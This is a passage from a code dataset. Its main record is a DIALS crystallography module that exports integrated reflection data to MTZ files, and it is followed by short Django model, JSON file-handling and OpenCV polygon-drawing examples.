Sorry(\"No profile fitted reflections, \"\n \"please try ignore_profile_fitting=True\")\n\n selection = integrated_data['intensity.sum.variance'] <= 0\n if selection.count(True) > 0:\n integrated_data.del_selected(selection)\n logger.info('Removing %d reflections with negative variance' % \\\n selection.count(True))\n\n if 'intensity.prf.variance' in integrated_data:\n selection = integrated_data['intensity.prf.variance'] <= 0\n if selection.count(True) > 0:\n integrated_data.del_selected(selection)\n logger.info('Removing %d profile reflections with negative variance' % \\\n selection.count(True))\n\n if filter_ice_rings:\n selection = integrated_data.get_flags(integrated_data.flags.in_powder_ring)\n integrated_data.del_selected(selection)\n logger.info(\"Removing %d reflections in ice ring resolutions\" %\n selection.count(True))\n\n if min_isigi is not None:\n\n selection = (\n integrated_data['intensity.sum.value']/\n flex.sqrt(integrated_data['intensity.sum.variance'])) < min_isigi\n integrated_data.del_selected(selection)\n logger.info('Removing %d reflections with I/Sig(I) < %s' %(\n selection.count(True), min_isigi))\n\n if 'intensity.prf.variance' in integrated_data:\n selection = (\n integrated_data['intensity.prf.value'] /\n flex.sqrt(integrated_data['intensity.prf.variance'])) < min_isigi\n integrated_data.del_selected(selection)\n logger.info('Removing %d profile reflections with I/Sig(I) < %s' %(\n selection.count(True), min_isigi))\n\n # FIXME in here work on including partial reflections => at this stage best\n # to split off the partial refections into a different selection & handle\n # gracefully... better to work on a short list as will need to \"pop\" them &\n # find matching parts to combine.\n\n if include_partials:\n integrated_data = sum_partial_reflections(integrated_data)\n if scale_partials:\n integrated_data = scale_partial_reflections(integrated_data)\n\n if 'partiality' in integrated_data:\n selection = integrated_data['partiality'] < 0.99\n if selection.count(True) > 0 and not keep_partials:\n integrated_data.del_selected(selection)\n logger.info('Removing %d incomplete reflections' % \\\n selection.count(True))\n\n return integrated_data\n\n\ndef _add_batch(mtz, experiment, batch_number, image_number, force_static_model):\n \"\"\"Add a single image's metadata to an mtz file.\n\n Returns the batch object.\n \"\"\"\n assert batch_number > 0\n\n # Recalculate useful numbers and references here\n wavelength = experiment.beam.get_wavelength()\n # We ignore panels beyond the first one, at the moment\n panel = experiment.detector[0]\n\n if experiment.goniometer:\n axis = matrix.col(experiment.goniometer.get_rotation_axis())\n else:\n axis = 0.0, 0.0, 0.0\n\n U = matrix.sqr(experiment.crystal.get_U())\n if experiment.goniometer is not None:\n F = matrix.sqr(experiment.goniometer.get_fixed_rotation())\n else:\n F = matrix.sqr((1, 0, 0, 0, 1, 0, 0, 0, 1))\n\n # Create the batch object and start configuring it\n o = mtz.add_batch().set_num(batch_number).set_nbsetid(1).set_ncryst(1)\n o.set_time1(0.0).set_time2(0.0).set_title('Batch {}'.format(batch_number))\n o.set_ndet(1).set_theta(flex.float((0.0, 0.0))).set_lbmflg(0)\n o.set_alambd(wavelength).set_delamb(0.0).set_delcor(0.0)\n o.set_divhd(0.0).set_divvd(0.0)\n\n # FIXME hard-coded assumption on indealized beam vector below... this may be\n # broken when we come to process data from a non-imgCIF frame\n s0n = matrix.col(experiment.beam.get_s0()).normalize().elems\n o.set_so(flex.float(s0n)).set_source(flex.float((0, 0, -1)))\n\n # these are probably 0, 1 respectively, also flags for how many are set, sd\n o.set_bbfac(0.0).set_bscale(1.0)\n o.set_sdbfac(0.0).set_sdbscale(0.0).set_nbscal(0)\n\n # unit cell (this is fine) and the what-was-refined-flags FIXME hardcoded\n\n # take time-varying parameters from the *end of the frame* unlikely to\n # be much different at the end - however only exist if scan-varying\n # refinement was used\n if not force_static_model and experiment.crystal.num_scan_points > 0:\n # Get the index of the image in the sequence e.g. first => 0, second => 1\n image_index = image_number - experiment.image_range[0]\n _unit_cell = experiment.crystal.get_unit_cell_at_scan_point(image_index)\n _U = matrix.sqr(experiment.crystal.get_U_at_scan_point(image_index))\n else:\n _unit_cell = experiment.crystal.get_unit_cell()\n _U = U\n\n # apply the fixed rotation to this to unify matrix definitions - F * U\n # was what was used in the actual prediction: U appears to be stored\n # as the transpose?! At least is for Mosflm...\n #\n # FIXME Do we need to apply the setting rotation here somehow? i.e. we have\n # the U.B. matrix assuming that the axis is equal to S * axis_datum but\n # here we are just giving the effective axis so at scan angle 0 this will\n # not be correct... FIXME 2 not even sure we can express the stack of\n # matrices S * R * F * U * B in MTZ format?... see [=A=] below\n _U = dials_u_to_mosflm(F * _U, _unit_cell)\n\n # FIXME need to get what was refined and what was constrained from the\n # crystal model - see https://github.com/dials/dials/issues/355\n o.set_cell(flex.float(_unit_cell.parameters()))\n o.set_lbcell(flex.int((-1, -1, -1, -1, -1, -1)))\n o.set_umat(flex.float(_U.transpose().elems))\n\n # get the mosaic spread though today it may not actually be set - should\n # this be in the BATCH headers?\n try:\n mosaic = experiment.crystal.get_mosaicity()\n except AttributeError:\n mosaic = 0\n o.set_crydat(flex.float([mosaic, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]))\n\n o.set_lcrflg(0)\n o.set_datum(flex.float((0.0, 0.0, 0.0)))\n\n # detector size, distance\n o.set_detlm(flex.float([0.0, panel.get_image_size()[0],\n 0.0, panel.get_image_size()[1],\n 0, 0, 0, 0]))\n o.set_dx(flex.float([panel.get_directed_distance(), 0.0]))\n\n # goniometer axes and names, and scan axis number, and num axes, missets\n # [=A=] should we be using this to unroll the setting matrix etc?\n o.set_e1(flex.float(axis))\n o.set_e2(flex.float((0.0, 0.0, 0.0)))\n o.set_e3(flex.float((0.0, 0.0, 0.0)))\n o.set_gonlab(flex.std_string(('AXIS', '', '')))\n o.set_jsaxs(1)\n o.set_ngonax(1)\n o.set_phixyz(flex.float((0.0, 0.0, 0.0, 0.0, 0.0, 0.0)))\n\n # scan ranges, axis\n if experiment.scan:\n phi_start, phi_range = experiment.scan.get_image_oscillation(image_number)\n else:\n phi_start, phi_range = 0.0, 0.0\n\n o.set_phistt(phi_start)\n o.set_phirange(phi_range)\n o.set_phiend(phi_start + phi_range)\n o.set_scanax(flex.float(axis))\n\n # number of misorientation angles\n o.set_misflg(0)\n\n # crystal axis closest to rotation axis (why do I want this?)\n o.set_jumpax(0)\n\n # type of data - 1; 2D, 2; 3D, 3; Laue\n o.set_ldtype(2)\n\n return o\n\n\ndef _write_columns(mtz_file, dataset, integrated_data, scale_partials,\n apply_scales):\n \"\"\"Write the column definitions AND data for a single dataset.\"\"\"\n\n # now create the actual data structures - first keep a track of the columns\n\n # H K L M/ISYM BATCH I SIGI IPR SIGIPR FRACTIONCALC XDET YDET ROT WIDTH\n # LP MPART FLAG BGPKRATIOS\n\n # gather the required information for the reflection file\n\n nref = len(integrated_data['miller_index'])\n\n # check reflections remain\n if nref == 0:\n raise Sorry('no reflections for export')\n\n xdet, ydet, zdet = [flex.double(x) for x in integrated_data['xyzobs.px.value'].parts()]\n\n # compute BATCH values - floor() to get (fortran) image captured within\n # +1 because FORTRAN counting; zdet+1=image_index\n # +off because image_index+o=batch\n batch = (flex.floor(zdet).iround() + 1) + integrated_data[\"batch_offset\"]\n\n # we're working with full reflections so... #388 no longer guaranteed\n if scale_partials:\n fractioncalc = flex.double(nref, 1.0)\n else:\n fractioncalc = integrated_data['partiality']\n\n\n # now add column information...\n\n # FIXME add DIALS_FLAG which can include e.g. was partial etc.\n\n type_table = {\n 'H': 'H',\n 'K': 'H',\n 'L': 'H',\n 'I': 'J',\n 'SIGI': 'Q',\n 'IPR': 'J',\n 'SIGIPR': 'Q',\n 'BG' : 'R',\n 'SIGBG' : 'R',\n 'XDET': 'R',\n 'YDET': 'R',\n 'BATCH': 'B',\n 'BGPKRATIOS': 'R',\n 'WIDTH': 'R',\n 'MPART': 'I',\n 'M_ISYM': 'Y',\n 'FLAG': 'I',\n 'LP': 'R',\n 'FRACTIONCALC': 'R',\n 'ROT': 'R',\n 'QE': 'R',\n }\n\n # derive index columns from original indices with\n #\n # from m.replace_original_index_miller_indices\n #\n # so all that is needed now is to make space for the reflections - fill with\n # zeros...\n\n mtz_file.adjust_column_array_sizes(nref)\n mtz_file.set_n_reflections(nref)\n\n # assign H, K, L, M_ISYM space\n for column in 'H', 'K', 'L', 'M_ISYM':\n dataset.add_column(column, type_table[column]).set_values(\n flex.double(nref, 0.0).as_float())\n\n mtz_file.replace_original_index_miller_indices(integrated_data['miller_index_rebase'])\n\n dataset.add_column('BATCH', type_table['BATCH']).set_values(\n batch.as_double().as_float())\n\n if 'lp' in integrated_data:\n lp = integrated_data['lp']\n else:\n lp = flex.double(nref, 1.0)\n if 'qe' in integrated_data:\n qe = integrated_data['qe']\n elif 'dqe' in integrated_data:\n qe = integrated_data['dqe']\n else:\n qe = flex.double(nref, 1.0)\n I_profile = None\n V_profile = None\n I_sum = None\n V_sum = None\n # FIXME errors in e.g. LP correction need to be propagated here\n scl = lp / qe\n\n if apply_scales:\n scl = scl / integrated_data['inverse_scale_factor']\n\n if 'intensity.prf.value' in integrated_data:\n I_profile = integrated_data['intensity.prf.value'] * scl\n V_profile = integrated_data['intensity.prf.variance'] * scl * scl\n # Trap negative variances\n assert V_profile.all_gt(0)\n dataset.add_column('IPR', type_table['I']).set_values(I_profile.as_float())\n dataset.add_column('SIGIPR', type_table['SIGI']).set_values(\n flex.sqrt(V_profile).as_float())\n if 'intensity.sum.value' in integrated_data:\n I_sum = integrated_data['intensity.sum.value'] * scl\n V_sum = integrated_data['intensity.sum.variance'] * scl * scl\n # Trap negative variances\n assert V_sum.all_gt(0)\n dataset.add_column('I', type_table['I']).set_values(I_sum.as_float())\n dataset.add_column('SIGI', type_table['SIGI']).set_values(\n flex.sqrt(V_sum).as_float())\n if ('background.sum.value' in integrated_data and\n 'background.sum.variance' in integrated_data):\n bg = integrated_data['background.sum.value']\n varbg = integrated_data['background.sum.variance']\n assert (varbg >= 0).count(False) == 0\n sigbg = flex.sqrt(varbg)\n dataset.add_column('BG', type_table['BG']).set_values(bg.as_float())\n dataset.add_column('SIGBG', type_table['SIGBG']).set_values(sigbg.as_float())\n\n dataset.add_column('FRACTIONCALC', type_table['FRACTIONCALC']).set_values(\n fractioncalc.as_float())\n\n dataset.add_column('XDET', type_table['XDET']).set_values(xdet.as_float())\n dataset.add_column('YDET', type_table['YDET']).set_values(ydet.as_float())\n dataset.add_column('ROT', type_table['ROT']).set_values(integrated_data[\"ROT\"].as_float())\n dataset.add_column('LP', type_table['LP']).set_values(lp.as_float())\n dataset.add_column('QE', type_table['QE']).set_values(qe.as_float())\n\n\ndef _next_epoch(val):\n \"\"\"Find a reasonably round epoch a small number above an existing one.\n\n Examples: 130-138 => 140\n 139 => 150\n 1234 => 1300\n 19999-20998 => 21000\n \"\"\"\n\n # Find the order of magnitude-1 (minimum: 1 as want no fractional values)\n small_magnitude = 10**max(1, int(floor(log(val, 10))-1))\n # How many units of this we have (float cast for __division__ insensitivity)\n mag_multiple = int(ceil(val / float(small_magnitude)))\n epoch = small_magnitude * mag_multiple\n # If this would give a consecutive number then offset it by a magnitude step\n if epoch <= val + 1:\n epoch = small_magnitude * (mag_multiple+1)\n return epoch\n\n\ndef _calculate_batch_offsets(experiments):\n \"\"\"Take a list of experiments and resolve and return the batch offsets.\n\n This is the number added to the image number to give the\n batch number, such that:\n - Each experiment has a unique, nonoverlapping, nonconsecutive range\n - None are zero\n - Image number ranges are kept if at all possible\n \"\"\"\n\n experiments_to_shift = []\n existing_ranges = set()\n maximum_batch_number = 0\n batch_offsets = [0]*len(experiments)\n\n # Handle zeroth shifts and kept ranges\n for i, experiment in enumerate(experiments):\n ilow, ihigh = experiment.image_range\n # Check assumptions\n assert ilow <= ihigh, \"Inverted image order!?\"\n assert ilow >= 0, \"Negative image indices are not expected\"\n # Don't emit zero: Causes problems with C/fortran number conversion\n if ilow == 0:\n ilow, ihigh = ilow+1, ihigh+1\n # If we overlap with anything, then process later\n if any( ilow <= high+1 and ihigh >= low-1 for low, high in existing_ranges):\n experiments_to_shift.append((i, experiment))\n else:\n batch_offsets[i] = ilow-experiment.image_range[0]\n existing_ranges.add((ilow, ihigh))\n maximum_batch_number = max(maximum_batch_number, ihigh)\n\n # Now handle all the experiments that overlapped by pushing them higher\n for i, experiment in experiments_to_shift:\n start_number = _next_epoch(maximum_batch_number)\n range_width = experiment.image_range[1]-experiment.image_range[0]+1\n end_number = start_number + range_width - 1\n batch_offsets[i] = start_number - experiment.image_range[0]\n maximum_batch_number = end_number\n experiment.scan.set_batch_offset(batch_offsets[i])\n\n return batch_offsets\n\n\ndef export_mtz(integrated_data, experiment_list, hklout,\n include_partials=False, keep_partials=False, scale_partials=True,\n min_isigi=None, force_static_model=False, filter_ice_rings=False,\n ignore_profile_fitting=False, apply_scales=False):\n '''Export data from integrated_data corresponding to experiment_list to an\n MTZ file hklout.'''\n\n # Convert experiment_list to a real python list or else identity assumptions\n # fail like:\n # assert experiment_list[0] is experiment_list[0]\n # And assumptions about added attributes break\n experiment_list = list(experiment_list)\n\n if apply_scales:\n assert('inverse_scale_factor' in integrated_data)\n\n # Validate multi-experiment assumptions\n if len(experiment_list) > 1:\n # All experiments should match crystals, or else we need multiple crystals/datasets\n if not all(x.crystal == experiment_list[0].crystal for x in experiment_list[1:]):\n logger.warning(\"Warning: Experiment crystals differ. Using first experiment crystal for file-level data.\")\n\n # We must match wavelengths (until multiple datasets supported)\n if not all(isclose(x.beam.get_wavelength(), experiment_list[0].beam.get_wavelength(), rel_tol=1e-9) for x in experiment_list[1:]):\n data = [x.beam.get_wavelength() for x in experiment_list]\n raise Sorry(\"Cannot export multiple experiments with different beam wavelengths ({})\".format(data))\n\n # also only work correctly with one panel (for the moment)\n if any(len(experiment.detector) != 1 for experiment in experiment_list):\n logger.warning('Warning: Ignoring multiple panels in output MTZ')\n\n # Clean up the data with the passed in options\n integrated_data = _apply_data_filters(integrated_data,\n ignore_profile_fitting=ignore_profile_fitting,\n min_isigi=min_isigi,\n filter_ice_rings=filter_ice_rings,\n include_partials=include_partials,\n keep_partials=keep_partials,\n scale_partials=scale_partials)\n\n\n # Calculate and store the image range for each image\n for experiment in experiment_list:\n # Calculate this once so that we don't have to again\n if experiment.scan:\n experiment.image_range = experiment.scan.get_image_range()\n else:\n experiment.image_range = 1, 1\n\n\n batch_offsets = flex.int(\n expt.scan.get_batch_offset() for expt in experiment_list)\n if batch_offsets.all_eq(0):\n # Calculate any offset to the image numbers\n batch_offsets = _calculate_batch_offsets(experiment_list)\n else:\n unique_offsets = set(batch_offsets)\n if len(unique_offsets) != len(batch_offsets):\n import collections\n raise Sorry('Duplicate batch offsets detected: %s' %', '.join(\n str(item) for item, count in collections.Counter(batch_offsets).items()\n if count > 1))\n\n # Create the mtz file\n mtz_file = mtz.object()\n mtz_file.set_title('from dials.export_mtz')\n date_str = time.strftime('%d/%m/%Y at %H:%M:%S', time.gmtime())\n mtz_file.add_history('From %s, run on %s' % (dials_version(), date_str))\n\n # FIXME TODO for more than one experiment into an MTZ file:\n #\n # - add an epoch (or recover an epoch) from the scan and add this as an extra\n # column to the MTZ file for scaling, so we know that the two lattices were\n # integrated at the same time\n # ✓ decide a sensible BATCH increment to apply to the BATCH value between\n # experiments and add this\n\n for experiment_index, experiment in enumerate(experiment_list):\n # Grab our subset of the data\n experiment.data = dict(integrated_data.select(integrated_data[\"id\"] == experiment_index))\n\n # Do any crystal transformations for the experiment\n cb_op_to_ref = experiment.crystal.get_space_group().info(\n ).change_of_basis_op_to_reference_setting()\n experiment.crystal = experiment.crystal.change_basis(cb_op_to_ref)\n experiment.data[\"miller_index_rebase\"] = cb_op_to_ref.apply(experiment.data[\"miller_index\"])\n\n s0 = experiment.beam.get_s0()\n s0n = matrix.col(s0).normalize().elems\n logger.debug('Beam vector: %.4f %.4f %.4f' % s0n)\n\n for i in range(experiment.image_range[0], experiment.image_range[1]+1):\n _add_batch(mtz_file, experiment,\n batch_number=i+experiment.scan.get_batch_offset(),\n image_number=i,\n force_static_model=force_static_model)\n\n # Create the batch offset array. This gives us an experiment (id)-dependent\n # batch offset to calculate the correct batch from image number.\n experiment.data[\"batch_offset\"] = flex.int(len(experiment.data[\"id\"]), experiment.scan.get_batch_offset())\n\n # Calculate whether we have a ROT value for this experiment, and set the column\n _, _, z = experiment.data['xyzcal.px'].parts()\n if experiment.scan:\n experiment.data[\"ROT\"] = experiment.scan.get_angle_from_array_index(z)\n else:\n experiment.data[\"ROT\"] = z\n\n # Update the mtz general information now we've processed the experiments\n mtz_file.set_space_group_info(experiment_list[0].crystal.get_space_group().info())\n unit_cell = experiment_list[0].crystal.get_unit_cell()\n mtz_crystal = mtz_file.add_crystal('XTAL', 'DIALS', unit_cell.parameters())\n mtz_dataset = mtz_crystal.add_dataset('FROMDIALS', experiment_list[0].beam.get_wavelength())\n\n # Combine all of the experiment data columns before writing\n merged_data = {k: v.deep_copy() for k, v in experiment_list[0].data.items()}\n for experiment in experiment_list[1:]:\n for k, v in experiment.data.items():\n merged_data[k].extend(v)\n # ALL columns must be the same length\n assert len(set(len(v) for v in merged_data.values())) == 1, \"Column length mismatch\"\n assert len(merged_data[\"id\"] == len(integrated_data[\"id\"])), \"Lost rows in split/combine\"\n\n # Write all the data and columns to the mtz file\n _write_columns(mtz_file, mtz_dataset, merged_data,\n scale_partials=scale_partials, apply_scales=apply_scales)\n\n logger.info(\"Saving {} integrated reflections to {}\".format(len(merged_data['id']), hklout))\n mtz_file.write(hklout)\n\n return mtz_file\n", "sub_path": "util/export_mtz.py", "file_name": "export_mtz.py", "file_ext": "py", "file_size_in_byte": 27471, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "dials.array_family.flex.size_t", "line_number": 67, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 67, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 68, "usage_type": "call"}, {"api_name": "dials.array_family.flex.size_t", "line_number": 165, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 165, "usage_type": "name"}, {"api_name": "scitbx.matrix.sqr", "line_number": 186, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 186, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 192, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 194, "usage_type": "name"}, {"api_name": "scitbx.matrix.sqr", "line_number": 196, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 196, "usage_type": "name"}, {"api_name": "math.cos", "line_number": 196, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 197, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 197, "usage_type": "call"}, {"api_name": "libtbx.utils.Sorry", "line_number": 233, "usage_type": "call"}, {"api_name": "libtbx.utils.Sorry", "line_number": 235, "usage_type": "call"}, {"api_name": "dials.array_family.flex.sqrt", "line_number": 261, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 261, "usage_type": "name"}, {"api_name": "dials.array_family.flex.sqrt", "line_number": 269, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 269, "usage_type": "name"}, {"api_name": "scitbx.matrix.col", "line_number": 307, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 307, "usage_type": "name"}, {"api_name": "scitbx.matrix.sqr", "line_number": 311, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 311, "usage_type": "name"}, {"api_name": "scitbx.matrix.sqr", "line_number": 313, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 313, "usage_type": "name"}, {"api_name": "scitbx.matrix.sqr", "line_number": 315, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 315, "usage_type": "name"}, {"api_name": "iotbx.mtz.add_batch", "line_number": 318, "usage_type": "call"}, {"api_name": "iotbx.mtz", "line_number": 318, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 320, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 320, "usage_type": "name"}, {"api_name": "scitbx.matrix.col", "line_number": 326, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 326, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 327, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 327, "usage_type": "name"}, {"api_name": "scitbx.matrix.sqr", "line_number": 342, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 342, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 360, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 360, "usage_type": "name"}, {"api_name": "dials.array_family.flex.int", "line_number": 361, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 361, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 362, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 362, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 370, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 370, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 374, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 374, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 377, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 377, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 380, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 380, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 384, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 384, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 385, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 385, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 386, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 386, "usage_type": "name"}, {"api_name": "dials.array_family.flex.std_string", "line_number": 387, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 387, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 390, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 390, "usage_type": "name"}, {"api_name": "dials.array_family.flex.float", "line_number": 401, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 401, "usage_type": "name"}, {"api_name": "libtbx.utils.Sorry", "line_number": 430, "usage_type": "call"}, {"api_name": "dials.array_family.flex.double", "line_number": 432, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 432, "usage_type": "name"}, {"api_name": "dials.array_family.flex.floor", "line_number": 437, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 437, "usage_type": "name"}, {"api_name": "dials.array_family.flex.double", "line_number": 441, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 441, "usage_type": "name"}, {"api_name": "dials.array_family.flex.double", "line_number": 487, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 487, "usage_type": "name"}, {"api_name": "dials.array_family.flex.double", "line_number": 497, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 497, "usage_type": "name"}, {"api_name": "dials.array_family.flex.double", "line_number": 503, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 503, "usage_type": "name"}, {"api_name": "dials.array_family.flex.sqrt", "line_number": 521, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 521, "usage_type": "name"}, {"api_name": "dials.array_family.flex.sqrt", "line_number": 529, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 529, "usage_type": "name"}, {"api_name": "dials.array_family.flex.sqrt", "line_number": 535, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 535, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 559, "usage_type": "call"}, {"api_name": "math.log", "line_number": 559, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 561, "usage_type": "call"}, {"api_name": "math.isclose", "line_number": 636, "usage_type": "call"}, {"api_name": "libtbx.utils.Sorry", "line_number": 638, "usage_type": "call"}, {"api_name": "dials.array_family.flex.int", "line_number": 663, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 663, "usage_type": "name"}, {"api_name": "libtbx.utils.Sorry", "line_number": 672, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 673, "usage_type": "call"}, {"api_name": "iotbx.mtz.object", "line_number": 677, "usage_type": "call"}, {"api_name": "iotbx.mtz", "line_number": 677, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 679, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 679, "usage_type": "call"}, {"api_name": "dials.util.version.dials_version", "line_number": 680, "usage_type": "call"}, {"api_name": "scitbx.matrix.col", "line_number": 701, "usage_type": "call"}, {"api_name": "scitbx.matrix", "line_number": 701, "usage_type": "name"}, {"api_name": "dials.array_family.flex.int", "line_number": 712, "usage_type": "call"}, {"api_name": "dials.array_family.flex", "line_number": 712, "usage_type": "name"}]} {"seq_id": "616184511", "text": "from django.db import models\nfrom users.models import User\n\n\nclass Analysis(models.Model):\n user = models.ForeignKey(User, related_name = 'analyses', on_delete = models.CASCADE)\n name = models.CharField(max_length = 64, blank = True, null = True, default = '')\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n\n class Meta:\n verbose_name_plural = \"analyses\"\n\n def __str__(self):\n return f\"Analysis {self.id} - '{self.name}'\"\n\n\nclass Computation(models.Model):\n STATE_CHOICES = (\n ('P', 'PENDING'),\n ('I', 'IN_PROGRESS'),\n ('E', 'ERROR'),\n ('S', 'SUCCESS'),\n )\n\n analysis = models.ForeignKey(Analysis, related_name = 'computations', on_delete = models.CASCADE)\n name = models.CharField(max_length = 64, blank = True, null = True, default = '')\n state = models.CharField(max_length = 1, choices = STATE_CHOICES, default = 'P')\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n finished_at = models.DateTimeField(default = None, blank = True, null = True)\n\n def __str__(self):\n return f\"Computation {self.id} - '{self.name}'\"\n", "sub_path": "krmozejko/training_app/analyses/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1235, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.models.Model", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 5, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 6, "usage_type": "call"}, {"api_name": "users.models.User", "line_number": 6, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}]} {"seq_id": "380392791", "text": "import json\n\nchemin = \"/Users/vincentbataille/Desktop/formation/formation/python_fr/exo/\"\nfichier = \"test.json\"\nmy_file = chemin+fichier\n\n# écrire dans le json\nwith open(my_file,\"w\") as f:\n json.dump(list(range(10)),f,indent=4)\n\nwith open(my_file,\"w\") as f:\n json.dump(\"pêche\",f,ensure_ascii=False)\n\n# lire le json\nwith open(my_file,\"r\") as f:\n liste=json.load(f)\n print(liste)\n", "sub_path": "python_fr/exo/les_json.py", "file_name": "les_json.py", "file_ext": "py", "file_size_in_byte": 392, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.dump", "line_number": 9, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 16, "usage_type": "call"}]} {"seq_id": "529655386", "text": "# Feb 11, 2019\n# TuongPV\n# Drawing Functions in OpenCV\n# Goal:\n# * Learn to draw different geometric shapes with OpenCV\n# * You will learn these functions :cv2.line(),cv2.circle(),cv2.rectangle(),cv2.ellipse(),cv2.putText()etc\n#\n# This tutorial: Drawing Polygon\n\nimport numpy as np\nimport cv2\n\n# create a black image\nimg = np.zeros((512,512,3), np.uint8)\n\npts = np.array([[10,5],[20,30],[70,20],[50,10]], np.int32)\npts = pts.reshape((-1,1,2))\nimg = cv2.polylines(img,[pts],True,(0,255,255))\n\n\ncv2.namedWindow('image', cv2.WINDOW_AUTOSIZE)\n\ncv2.imshow('image',img)\n\nk = cv2.waitKey(0) & 0xFF\n\nif k == 27:\n # wait for ESC key to exit\n 